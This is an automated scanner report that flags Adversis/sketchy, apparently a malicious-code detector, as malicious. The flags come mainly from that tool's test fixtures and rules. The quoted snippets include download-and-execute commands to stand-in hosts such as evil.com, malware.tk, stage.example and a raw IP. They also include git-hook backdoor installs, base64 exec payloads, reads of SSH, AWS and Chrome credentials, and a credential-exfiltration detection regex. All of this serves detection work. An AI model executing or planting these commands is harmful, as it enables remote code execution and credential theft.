live · scanning repos
Scanrepo
github.com / Adversis

Adversis/sketchy

Go·52 files·commit 3758fa2·scanned 6d ago·cached ✓
92/100
MALICIOUS
Matches known-malicious patterns. Do not clone or install.

scored by engine v10: rules have changed since, rescan for the current result

verdict accurate?
Obfuscated code detected
threat-state: maliciouslive

FINDINGS ░▒▓

criticalRemote script piped into a shellA shell script downloads remote content and executes it directly (e.g. `curl … | bash`). The payload is never stored or reviewable and can change server-side — a classic malware/backdoor install pattern.bash/sketchy.sh
    # cmd-overwrite: Overwriting common shell commands
    pattern="(ls|dir|cat|find|grep|which|curl|wget)\s*=\s*['\"]|alias\s+(ls|dir|cat|find|grep|which|curl|wget)="
    if grep -E "$pattern" "$file...
+10
warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.bash/testdata/test_advanced_malicious.py
curl evil.com | sh
+4
warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.bash/testdata/test_advanced_malicious.py
# Installing malicious git hooks
os.system('echo "curl evil.com | sh" > .git/hooks/pre-commit')
os.system('chmod +x .git/hooks/post-checkout')
subprocess.run(['cp', 'backdoor.sh', '.git/hooks/pre-push...
+4
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.bash/testdata/test_malicious.py
exec(open('payload.py').read())
eval(compile('print("evil")', '<string>', 'exec'))
__import__('os').system('whoami')
+8
warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.bash/testdata/test_malicious.py
curl http://malware.tk/payload | sh')
+4
criticalPython dynamic code executioneval(), exec() or compile() on untrusted input can execute arbitrary code. Common in Python malware for running obfuscated payloads.bash/testdata/test_malicious.py
# Code execution patterns
exec(open('payload.py').read())
eval(compile('print("evil")', '<string>', 'exec'))
__import__('os').system('whoami')
+7
warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.bash/testdata/test_malicious.py
# Silent process execution
subprocess.run(['curl', 'evil.com'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

# Sensitive data access
+4
criticalPython remote code executionFetching code from a remote URL and immediately executing it (exec(requests.get(...).text)) is a classic malware dropper pattern.bash/testdata/test_malicious.py
import pickle
import requests
from PIL import Image
import dns.resolver
+10
warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.go/fixtures_evasion_test.go
IEX (New-Object Net.WebClient).DownloadString('http://stage.example/a')
+4
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.go/fixtures_ported_test.go
	{"js-hidden-code", "padded.js",
		`var a = 1;` + spaces(420) + `eval(atob(payload));`},

	// upstream: threat-runtime-obfuscation-dynamic-eval
+8
criticalFunction() constructor detectednew Function() is equivalent to eval() and can execute arbitrary code strings.go/fixtures_ported_test.go
	{"js-dynamic-eval", "b64.js", `eval(atob("Y29uc29sZS5sb2coMSk="))`},
	{"js-dynamic-eval", "fcc.js", `new Function(String.fromCharCode(97,108,101,114,116))()`},

	// upstream: threat-npm-http-dependen...
+5
criticalShort link or raw IP piped into a shellA command pipes a download from a link shortener or a bare public IP into a shell. The redirect hides where the code really comes from, which no legitimate installer needs.go/fixtures_test.go
curl -sL https://bit.ly/3xKpL9q | sh`},
+10
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.go/skipfile_test.go
	}
	if err := os.WriteFile(filepath.Join(root, ".git", "config"), []byte("eval(atob(x))"), 0o644); err != nil {
		t.Fatal(err)
	}
+8
warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.go/testdata/capability-only/fetch_paste.py
# Fetch a payload from a paste site via a subprocess.
subprocess.Popen(["curl", "https://pastebin.com/raw/aaa"])
+4
criticalPython dynamic code executioneval(), exec() or compile() on untrusted input can execute arbitrary code. Common in Python malware for running obfuscated payloads.go/testdata/samples/test_malicious.py
# Code execution patterns
exec(open('payload.py').read())
eval(compile('print("evil")', '<string>', 'exec'))
__import__('os').system('whoami')
+7
criticalPython remote code executionFetching code from a remote URL and immediately executing it (exec(requests.get(...).text)) is a classic malware dropper pattern.go/testdata/samples/test_malicious.py
# Download and execute
import urllib.request
urllib.request.urlretrieve('http://evil.com/malware.py', '/tmp/mal.py')
+10
infoSuspicious files are not reachable from entry pointsFlagged files exist but are not imported by any entry point. They may be dead code, tests, or attack payloads triggered by another mechanism.+2
criticalKnown malicious / C2 domainKnown domains used by Lazarus Group and other malware for hosting payloads or exfiltrating data.bash/testdata/test_malicious.py+5
criticalKnown malicious / C2 domainKnown domains used by Lazarus Group and other malware for hosting payloads or exfiltrating data.go/cluster_test.go+5
infoBase64 encoding usedatob() or Buffer.from with base64. Common in legitimate code but also used to hide malicious URLs.go/cluster_test.go
	fired := firedPatterns(scanContentPatterns(t, "stager.js",
		"const p = atob(blob);\neval(p);", s.Patterns))

	if !fired["base64"] || !fired["eval-exec"] {
+2
infoBase64 encoding usedatob() or Buffer.from with base64. Common in legitimate code but also used to hide malicious URLs.go/fixtures_ported_test.go
	{"js-hidden-code", "padded.js",
		`var a = 1;` + spaces(420) + `eval(atob(payload));`},

	// upstream: threat-runtime-obfuscation-dynamic-eval
+2
warningHardcoded IP address in network callFetching data from hardcoded IP addresses instead of domain names is suspicious and may indicate C2 communication.go/fixtures_test.go
	{"dynamic-import", "load.py", "mod = __import__(\"plugin\")\nsocket.gethostbyname(payload)"},
	{"suspicious-network", "beacon.sh", `curl http://185.220.101.5/payload`},
	// websocket is a capability ...
+5
warningGo net/http with hardcoded IPHardcoded public IP addresses in HTTP clients are common in malware C2 configurations.go/fixtures_test.go
	{"dynamic-import", "load.py", "mod = __import__(\"plugin\")\nsocket.gethostbyname(payload)"},
	{"suspicious-network", "beacon.sh", `curl http://185.220.101.5/payload`},
	// websocket is a capability ...
+4
infoBase64 encoding usedatob() or Buffer.from with base64. Common in legitimate code but also used to hide malicious URLs.go/main.go
// twice, not two abilities, and treating it as a cluster would report every
// file that builds a string. But `atob(blob)` on one line and `eval(p)` on
// the next start in different places, which is...
+2
criticalKnown malicious / C2 domainKnown domains used by Lazarus Group and other malware for hosting payloads or exfiltrating data.go/testdata/ai-agents/positive/.claude/settings.local.json+5
criticalBrowser credential store accessAccessing Chrome, Firefox, Edge, or Brave profile directories to steal cookies, passwords, and session tokens.bash/testdata/test_advanced_malicious.py
chrome_paths = [
    '~/Library/Application Support/Google/Chrome/Default/Cookies',
    '~/.config/google-chrome/Default/Login Data',
    '~/AppData/Local/Google/Chrome/User Data/Default/Cookies'
+10
warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.bash/testdata/test_advanced_malicious.py
# AWS credentials
aws_creds = os.path.expanduser('~/.aws/credentials')
if os.path.exists(aws_creds):
    with open(aws_creds) as f:
+5
warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.bash/testdata/test_malicious.py
def steal_credentials():
    ssh_key = open(os.path.expanduser('~/.ssh/id_rsa')).read()
    aws_creds = os.environ['AWS_SECRET_ACCESS_KEY']
    api_token = os.environ['API_TOKEN']
+5
warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.go/patterns.go
			Description: "[GuardDog] Sensitive data exfiltration",
			Regex:       regexp.MustCompile(`(\.ssh/|\.aws/|\.docker/|\.kube/|\.gnupg/|\.password-store/|id_rsa|id_dsa|credentials|\.env).*(requests\.|...
+5
criticalBrowser credential store accessAccessing Chrome, Firefox, Edge, or Brave profile directories to steal cookies, passwords, and session tokens.go/testdata/samples/test_malicious.py
# Browser cookies
chrome_cookies = '~/Library/Application Support/Google/Chrome/Default/Cookies'

# Cloud credentials
+10
criticalPython base64 payload executionDecoding a base64 blob and passing it to exec()/compile() is a common obfuscation technique in Python malware.bash/testdata/test_malicious.py
encoded_payload = "ZXhlYygnX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2N1cmwgZXZpbC5jb20gfCBzaCcpJyk="
decoded = base64.b64decode(encoded_payload)
exec(decoded)
+8
criticaljavascript-obfuscator output detectedCode obfuscated with the javascript-obfuscator tool. The _0x variable naming and rotating string array are unique to this tool and are commonly used to hide malware from code review.go/fixtures_evasion_test.go
// distinct _0x identifiers, which is what the rule counts.
const mangledJS = `const _0x112fa8 = _0x180f;
(function(_0x13c8b9, _0x35f660) {
    const _0x15b386 = _0x180f;
+20
criticalPython base64 payload executionDecoding a base64 blob and passing it to exec()/compile() is a common obfuscation technique in Python malware.go/testdata/samples/test_malicious.py
encoded = "ZXhlYygn"
decoded = base64.b64decode(encoded)

# Reverse shell
+8
infoSuspicious file in repoExecutable file (test_windows.ps1) in repositorygo/testdata/samples/test_windows.ps1+2
warningDependency runs install scripts"<root>/postinstall" executes code during installation. Malicious packages use this to drop payloads before the app even runs.package.json+3

Scores reflect the files and rules covered by this scan. How to read this report

37 files scanned @ 3758fa2 | 11/18/2026 | heuristic scan — always review manually

risk by category
code execution25
network & exfiltration25
file system access20
obfuscation15
supply chain5
owasp / injection0
telemetry
files 37/52rules hit 35engine v10commit 3758fa2

github

Adversis/sketchy

A tool for folks who `git clone` first and ask questions later

Go
72
2
439d
52 files
37 scanned(71%)
3758fa2

network indicators░▒▓

Hosts this code names or would connect to. 30 found, decoded and call-site destinations first. Informational, not scored.

architecture░▒▓

entry (0) flagged (13) pkg (20)
50 nodes · 55 edgesscroll to zoom · click node to jump to finding